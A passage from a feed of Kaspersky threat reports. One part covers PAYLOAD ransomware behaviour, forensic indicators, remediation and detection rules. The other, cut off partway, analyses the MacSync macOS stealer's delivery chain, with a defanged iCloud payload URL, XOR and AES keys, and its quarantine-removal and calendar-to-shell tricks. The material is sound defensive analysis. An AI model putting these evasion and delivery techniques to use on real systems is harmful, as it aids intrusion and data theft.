executable, resident endpoint malware, confirmed file encryption or active malicious processes at the time of the forensic examination. However, PAYLOAD cryptomalware for Windows does exist, and other sources, including public analysis of its samples, reveal further malicious capabilities of this ransomware that could be used by security teams to enrich detection logic and security policies.</p> <p>The behaviors documented in this section must therefore be interpreted as family-level capabilities identified through the public reverse engineering of PAYLOAD ransomware samples. They were not confirmed as having executed during the GPO-based incident unless corresponding evidence was identified in the host, memory, process, event-log, or hypervisor.</p> <h4 id="windows-event-log-clearing">Windows Event Log clearing</h4> <p>Public reverse engineering of the PAYLOAD Windows variant reveals an optional event log clearing capability (T1685.005, formerly T1070.001). The ransomware dynamically resolves Windows Event Log APIs, enumerates available event log channels, and clears individual channels.</p> <p>Implementation artifacts include:</p> <ul> <li>Runtime loading of wevtapi.dll</li> <li>EvtOpenChannelEnum</li> <li>EvtNextChannelPath</li> <li>EvtClearLog</li> <li>Enumeration of Security, System, Application, and PowerShell logs, and operational channels</li> <li>A command-line option controlling whether log clearing is performed</li> </ul> <p>Clearing event logs reduces the availability of records related to process execution, authentication, PowerShell, service control, and system changes. However, it does not necessarily remove events that were already forwarded to a SIEM, Windows Event Collector, EDR backend, or protected log archive.</p> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Windows Security Event ID 1102</li> <li>Event logging shutdown or failure events</li> <li>Sudden reductions in event record identifiers</li> <li>Multiple event channels restarting from low record numbers</li> <li>Gaps between endpoint and centrally forwarded telemetry</li> <li>Execution of utilities or APIs associated with log management</li> <li>Direct access to EVTX files (Windows Event Log files) under the Windows event log directory</li> </ul> <p>We should note that these indicators can’t be interpreted on their own. For instance, Event ID 1102 should be correlated with a number of aggravating factors, such as:</p> <ul> <li>Event ID 4688 or Sysmon Event ID 1 for process creation</li> <li>Event ID 4624 for the associated administrative logon</li> <li>EDR process trees</li> <li>PowerShell operational logging</li> <li>Windows Event Forwarding records</li> <li>Privileged access management activity</li> </ul> <p>At the same time, the absence of Event ID 1102 does not prove that log clearing did not occur. Direct deletion, truncation, service impairment, or an incomplete audit configuration may produce different evidence.</p> <h4 id="security-process-and-service-termination">Security process and service termination</h4> <p>PAYLOAD analysis reveals that the Windows ransomware variant contains logic that targets security processes and services (T1685 and T1489). This capability is intended to stop security products, backup software, database services, and applications that may lock files targeted for encryption.<br/> Process and service termination serves several objectives:</p> <ol> <li>Reduce endpoint detection and response visibility.</li> <li>Release file handles so data can be modified.</li> <li>Interrupt backup and recovery services.</li> <li>Prevent databases and enterprise applications from protecting active data.</li> <li>Reduce interference with encryption operations.</li> </ol> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Security agent services changing from running to stopped</li> <li>Event ID 7036 service state changes</li> <li>Event ID 7040 service start type changes</li> <li>Event ID 4688 or Sysmon Event ID 1 for service control utilities</li> <li>Sysmon Event ID 5 for terminated processes</li> <li>EDR health degradation affecting many endpoints</li> <li>Repeated termination attempts against security or backup processes</li> <li>Execution of dedicated process killing utilities</li> </ul> <h4 id="vss-deletion-backup-and-recovery-suppression">VSS deletion, backup and recovery suppression</h4> <p>Public PAYLOAD sample analysis reports the deletion of Windows Volume Shadow Copies before encryption (T1490). This behavior removes local restore points and reduces the victim’s ability to recover files without external backups.</p> <p>Recovery inhibition is broader than VSS deletion and may include multiple other malicious techniques, including the following:</p> <ul> <li>Deleting shadow copies, backup catalogs, and hypervisor snapshots</li> <li>Disabling recovery services</li> <li>Modifying boot recovery settings</li> <li>Compromising backup management platforms</li> <li>Deleting or encrypting backup repositories</li> </ul> <p>In the PAYLOAD Windows sample that is proven to perform encryption, VSS deletion is confirmed to have taken place before encryption. A broader compromise of the backup platform was not established in the investigated incident.</p> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Execution of shadow copy management utilities</li> <li>Backup catalog deletion attempts</li> <li>Recovery configuration changes</li> <li>Backup service termination</li> <li>Mass snapshot deletions</li> <li>Backup administrator logons outside normal maintenance windows</li> <li>Backup retention or immutability changes</li> <li>Backup jobs failing immediately before disruptive activity</li> </ul> <h3 id="ecosystem-relevant-ransomware-techniques">Ecosystem-relevant ransomware techniques</h3> <p>Above, we discussed the techniques specific to PAYLOAD ransomware. In this section, we’ll review other common ransomware techniques, such as BYOVD abuse and ESXi policy weakening, that remain relevant risks in the ransomware ecosystem. However, these techniques should not be attributed to this incident without supporting driver load, process, memory, ESXi, vCenter, or backup platform telemetry. We describe these techniques below as they may prove useful in other ransomware-related forensic investigations.</p> <p>The examples used in this section are therefore ecosystem-relevant: they are commonly observed in ransomware operations but not conclusively attributed to the analyzed PAYLOAD samples.</p> <h4 id="etw-suppression-and-in-memory-patching">ETW suppression and in-memory patching</h4> <p>Event Tracing for Windows (ETW) is a kernel-supported tracing architecture used by Windows components, diagnostic utilities, security products, and endpoint monitoring systems.</p> <p>Although we didn’t encounter this technique in our case, some ransomware families can patch ETW-related functions inside the ransomware process (T1685, formerly T1562.001). The reported routine changes the memory protection of code pages, overwrites the beginning of selected ETW functions so they return without producing events, restores the original protection, and refreshes the instruction cache.</p> <p>Reported target functions include <code>EtwEventWrite</code>, <code>EtwEventWriteFull</code>, <code>EtwEventWriteTransfer</code>, and <code>EtwRegister</code>.</p> <p>This modification applies to the process-local mapping of ntdll.dll. It does not disable ETW globally across Windows, but it can reduce the telemetry generated by the modified process.</p> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Writable or recently modified executable pages within ntdll.dll</li> <li>Memory protection changes affecting ETW function addresses</li> <li>In-memory code differing from the corresponding clean DLL on disk</li> <li>EDR memory tampering alerts</li> <li>Unexpected calls to memory protection APIs followed by telemetry silence</li> <li>Process execution visible in network or filesystem telemetry but absent from expected ETW-derived sources</li> <li>Inconsistent telemetry between EDR, Sysmon, Windows Event Logs, and network monitoring</li> </ul> <p>It should be noted that telemetry gaps are not conclusive evidence of ETW patching. Other factors include agent upgrades, network outages, endpoint shutdowns, SIEM ingestion failures, collector backpressure, and filtering or licensing changes.</p> <p>Memory acquisition is the strongest validation source when process-local ETW patching is suspected.</p> <h4 id="vulnerable-signed-driver-abuse-byovd">Vulnerable signed driver abuse, BYOVD</h4> <p>Bring Your Own Vulnerable Driver (BYOVD) involves introducing or abusing a legitimately signed but vulnerable kernel driver (T1068 and T1685). The attacker exploits the driver’s exposed functionality to gain kernel-level capabilities, modify protected memory, terminate security processes, remove security callbacks, or bypass operating system security controls.</p> <p>BYOVD is highly relevant to contemporary ransomware operations. However, the reviewed public PAYLOAD analyses do not provide sufficient evidence to conclude that BYOVD is an intrinsic PAYLOAD capability.</p> <p>It should therefore be presented as an ecosystem-relevant technique rather than a confirmed PAYLOAD feature.</p> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Unexpected .sys files written to user-writable or temporary directories</li> <li>New kernel driver services</li> <li>Sysmon Event ID 6</li> <li>Driver hashes matching Microsoft or community vulnerable driver blocklists</li> <li>Invalid, revoked, expired, or unusual driver signatures</li> <li>Driver load followed by EDR termination</li> <li>New privileged processes immediately following driver loading</li> <li>Code Integrity or Defender alerts</li> <li>Service creation events referencing driver files</li> </ul> <h4 id="esxi-security-policy-weakening">ESXi security policy weakening</h4> <p>Ransomware operators are increasingly targeting ESXi and vCenter because compromising the virtualization layer provides access to many business-critical virtual machines.</p> <p>Public research typically describes operators performing the following activities (T1685, T1490 and T1489):</p> <ul> <li>Enabling SSH on ESXi hosts</li> <li>Changing root passwords</li> <li>Disabling <code>execInstalledOnly</code></li> <li>Modifying lockdown mode exceptions</li> <li>Stopping virtual machines</li> <li>Deleting snapshots and backups</li> <li>Changing host firewall policies</li> <li>Copying custom ransomware binaries to hypervisors</li> </ul> <p>On the target organization’s Linux servers we saw an ESXi PAYLOAD variant, which makes this behavior operationally relevant. Nevertheless, the reviewed evidence does not indicate that PAYLOAD operators used any of these policy-weakening actions in the investigated incident.</p> <h5 id="forensic-indicators">Forensic indicators</h5> <ul> <li>Unexpected ESXi SSH enablement</li> <li>Changes to <code>execInstalledOnly</code></li> <li>Secure Boot enforcement changes</li> <li>Lockdown mode configuration changes</li> <li>Root password changes</li> <li>New or unusual administrator accounts</li> <li>Bulk VM shutdown activity</li> <li>Bulk snapshot deletion</li> <li>New binaries in datastore or temporary paths</li> <li>vCenter tasks originating from unexpected accounts or systems</li> <li>Missing or disabled remote syslog forwarding</li> </ul> <h2 id="remediation">Remediation</h2> <p>To contain the described threat and limit possible damage, several remediation steps should be taken. Below, we recommend a four-phase remediation approach for containing this threat and restoring the affected environment.</p> <h3 id="phase-1-domain-controller-actions-to-be-performed-first">Phase 1 — domain controller actions (to be performed first)</h3> <p>When dealing with PAYLOAD GPO, the first priority of the remediation plan should be to remove the source GPOs. Until this is done, endpoint cleanup is ineffective because the next policy refresh re-infects cleaned machines.</p> <p>The immediate domain controller actions to be taken are:</p> <ol> <li>Delete PAYLOAD GPO. Remove {C897F2C7-C2AC-4E6F-BF48-58036FF29E79} via GPMC.</li> <li>Delete or revert win Firewall Off GPO. Remove {22099AD2-E062-4F56-B574-5099BBA4E7A6}.</li> <li>Clean SYSVOL. Delete jpg and hello.txt from \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.</li> <li>Rotate credentials. Reset the compromised account; audit all privileged accounts and group memberships for unauthorized changes; rotate krbtgt twice if domain admin compromise is confirmed.</li> <li>Force refresh. Perform <code>gpupdate /force</code> across endpoints after deletion; re-enable local administrator and firewall via clean policy.</li> </ol> <h3 id="phase-2-active-directory-and-gpo-hardening">Phase 2 — Active Directory and GPO hardening</h3> <ul> <li>Adopt the AD tiered administration model and confine domain admins to Tier 0 with no interactive logon to workstations and member servers.</li> <li>Separate GPO creation from GPO linking rights, and grant both only to a dedicated, audited administrator role.</li> <li>Enable GPO change auditing (Event IDs 5136, 5137, 5141) and forward to a SIEM.</li> <li>Monitor SYSVOL with file integrity tooling.</li> </ul> <h3 id="phase-3-credential-and-access-hardening">Phase 3 — credential and access hardening</h3> <ul> <li>Enforce phishing-resistant MFA on all VPN and remote access entry points.</li> <li>Deploy Windows LAPS to generate unique, rotated local administrator passwords.</li> <li>Enable <a href="https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/" rel="noopener" target="_blank">Credential Guard</a> to protect LSASS-resident secrets.</li> <li>Adopt Privileged Access Workstations (PAW) for all administration.</li> <li>Implement just-in-time elevation through Privileged Identity Management (PIM) for domain admin.</li> </ul> <h3 id="phase-4-detection-and-monitoring">Phase 4 — detection and monitoring</h3> <ul> <li>SIEM rule: GPO creation or domain-root <code>gPLink</code> change by a non-standard account.</li> <li>SIEM rule: file creation events under SYSVOL from non-replication sources.</li> <li>Implement enhanced, centrally collected FortiGate SSL VPN logging (auth events, session detail, source IP geolocation, impossible travel check) and detailed perimeter monitoring.</li> <li>Deploy a canary GPO whose application anywhere signals attacker GPO write access.</li> </ul> <h2 id="conclusion">Conclusion</h2> <p>PAYLOAD demonstrates a maturing tactic of turning the victim’s own trusted infrastructure into a weapon. By weaponizing Group Policy, the actor achieved a domain-wide impact without a single malicious binary on any endpoint, evaded file- and process-based detection entirely, and caused organization-wide disruption within seconds of the first reboot.</p> <p>The absence of encryption is the most strategically significant finding and is consistent with the <a href="https://securelist.com/state-of-ransomware-in-2026/119761/#the-shift-to-encryptionless-extortion" rel="noopener" target="_blank">2026 trend toward encryptionless extortion</a>. At Kaspersky GERT, we assess with moderate confidence that the missing encryption reflects one of two scenarios: (1) a deliberate decision to stay below the irreversible data destruction threshold while preserving the option of a follow-on encryption phase, or (2) an operation interrupted before full execution.</p> <p>The absence of encrypted files must not be mistaken for the absence of a serious compromise — the most critical impact lies in the actor gaining domain admin-level control. This incident proves that a threat actor with domain admin access and a working knowledge of group policy internals can inflict domain-wide disruption equivalent to a ransomware attack without writing a single malicious file to any endpoint.</p> <p>Detection strategies anchored solely in file- or process-based indicators are blind to this attack class. Effective controls include directory service change auditing, SYSVOL integrity monitoring, and privileged access governance, which allow for GPO protection.</p> <h2 id="detection-by-kaspersky-solutions">Detection by Kaspersky solutions</h2> <p>Kaspersky security solutions effectively detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.<br/> To protect organizations that use our <a href="https://www.kaspersky.com/enterprise-security/unified-monitoring-and-analysis-platform?icid=gl_sl_siem-inpost-link_sm-team_c6da27b0f60ba483" rel="noopener" target="_blank">Kaspersky SIEM</a> system, we have prepared a package of correlation rules designed to help detect this type of malicious activity. The rules are now available for customers to download from the SIEM repository; the package name is: <code>[OOTB] Group policy hijacked: PAYLOAD ransomware – ENG.</code></p> <p>The <strong>“Group policy hijacked: PAYLOAD ransomware” </strong>package contains rules that detect suspicious file creation or modification in the SYSVOL shared folder on a domain controller, as well as changes to critical attributes and settings of domain group policies. Some rules may require adjustment if they trigger in response to legitimate activity, such as synchronization between domain controllers or the configuration of a new group policy.</p> <p>To ensure the detection rules function correctly, verify that events from Windows systems are being received in full, including events with the following identifiers: Sysmon: 11, Security — 4663, 5136, 4657.</p> <p>We also recommend applying the following rules available in the repository to detect all attack stages.</p> <ul> <li>Detection of Windows Event Log clearing to cover up traces of an attack: <code>R050_03_Windows Event Log was cleared</code></li> <li>Detection of suspicious access to the LSASS process, which may indicate attempts to dump credentials: <code>R262_Suspicious access to the LSASS process</code></li> <li>Detection of the Volume Shadow Copy service being started, which is used to create shadow copies before deleting them: <code>R231_20_Running the Volume Shadow Copy service</code></li> <li>Detection of shadow copy deletion: <code>R321_Shadow copy deletion</code></li> <li>Detection of Windows Defender disablement: <code>R076_01_Windows Defender Antivirus was disabled</code></li> <li>Detection of attempts to disable or modify the system firewall: <code>R240_03_Disabling system firewall via the registry</code></li> <li>Detection of a service inst</li></ul></div></div></div></div></div></div> https://securelist.com/tr/payload-ransomware-via-group-policy/121335/ cyber Mon, 21 Sep 2026 10:00:40 +0000 MacSync under the microscope: new delivery methods and a new payload https://securelist.com/macsync-new-version/121383/ <img src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/24092150/SL-MacSync-featured-scaled.jpg" width="300" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/24092150/SL-MacSync-featured-1200x600.jpg" data-srcset="" decoding="async" height="600" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/24092150/SL-MacSync-featured-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/sergeypuzan/"> <span>Sergey Puzan</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <p>MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.</p> <p>Key points:</p> <ul> <li>The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.</li> <li>The main malicious payload now consists of modules written in Objective-C and Swift.</li> <li>At one stage of infection, the attackers use iCloud to deliver the next</li> </ul> <p>Kaspersky solutions detect the threats described below under the following verdicts:</p> <ul> <li>HEUR:Trojan.OSX.MacSync.*</li> <li>HEUR:Trojan-PSW.OSX.MacSync.*</li> <li>HEUR:Trojan-Dropper.OSX.MacSync.*</li> <li>HEUR:Trojan-Downloader.OSX.MacSync.*</li> </ul> <h2 id="technical-details">Technical details</h2> <h3 id="infection-chain">Infection chain</h3> <p>MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1.png"><img alt="" class="aligncenter size-full wp-image-121384" decoding="async" height="1855" sizes="auto, (max-width: 1426px) 100vw, 1426px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1.png 1426w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-231x300.png 231w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-787x1024.png 787w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-768x999.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-1181x1536.png 1181w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-269x350.png 269w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-740x963.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-215x280.png 215w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-692x900.png 692w" width="1426" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victim’s device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. We’ll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-scaled.png"><img alt="" class="aligncenter size-full wp-image-121385" decoding="async" height="2560" sizes="auto, (max-width: 2383px) 100vw, 2383px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-scaled.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-scaled.png 2383w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-279x300.png 279w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-953x1024.png 953w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-768x825.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-1430x1536.png 1430w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-1906x2048.png 1906w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-326x350.png 326w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-740x795.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-261x280.png 261w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-800x859.png 800w" width="2383" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>It’s worth noting right away that MacSync shows shared traits at almost every stage:</p> <ul> <li>All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.</li> <li>Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.</li> <li>All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.</li> </ul> <h3 id="loader-calendar-and-two-simple-droppers">Loader, Calendar, and Two Simple Droppers</h3> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3.png"><img alt="" class="aligncenter size-full wp-image-121386" decoding="async" height="501" sizes="auto, (max-width: 1192px) 100vw, 1192px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3.png 1192w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-300x126.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-1024x430.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-768x323.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-833x350.png 833w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-740x311.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-666x280.png 666w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-800x336.png 800w" width="1192" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the <code>com.apple.quarantine</code> extended quarantine attribute, and if it finds one, it runs the <code>xattr -cr &lt;app_name&gt;</code> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key <code>73 6f 6e 6f 6d 61 62 6c 64 07</code>. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word <code>SONOMAC1</code>. It’s worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4.png"><img alt="" class="aligncenter size-full wp-image-121387" decoding="async" height="413" sizes="auto, (max-width: 1355px) 100vw, 1355px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4.png 1355w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-300x91.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-1024x312.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-768x234.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-1148x350.png 1148w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-740x226.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-919x280.png 919w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-800x244.png 800w" width="1355" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4327ee0814583069218" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> hxxp://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0814583069218-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0814583069218-1">hxxp://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08</div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0000 seconds] --> <p><div class="wp-caption aligncenter" id="attachment_121388-2" style="width: 814px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5.png"><img alt="Contents of the downloaded calendar" aria-describedby="caption-attachment-121388-2" class="size-full wp-image-121388" decoding="async" height="817" sizes="auto, (max-width: 804px) 100vw, 804px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5.png 804w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-295x300.png 295w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-768x780.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-344x350.png 344w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-740x752.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-276x280.png 276w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-800x813.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205826/macsync-new-version5-50x50.png 50w" width="804" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121388-2">Contents of the downloaded calendar</p></div></p> <p>After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (<code>zsh -s</code>), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the <code>DESCRIPTION</code>: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.</p> <p>We don’t know the contents of the scripts distributed from the attacker’s server, but they are very likely the same script found in the calendar event description.</p> <p>The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4327ee081e511308967" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> cb09ff86cabde4f8cee2d3cdec370c623bfa6c2b72ae9750fc9a7b299c65d7ca 3a1af2b397c6958e6c3ba3c75912d60e</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee081e511308967-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee081e511308967-2">2</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee081e511308967-1">cb09ff86cabde4f8cee2d3cdec370c623bfa6c2b72ae9750fc9a7b299c65d7ca</div><div class="crayon-line crayon-striped-line" 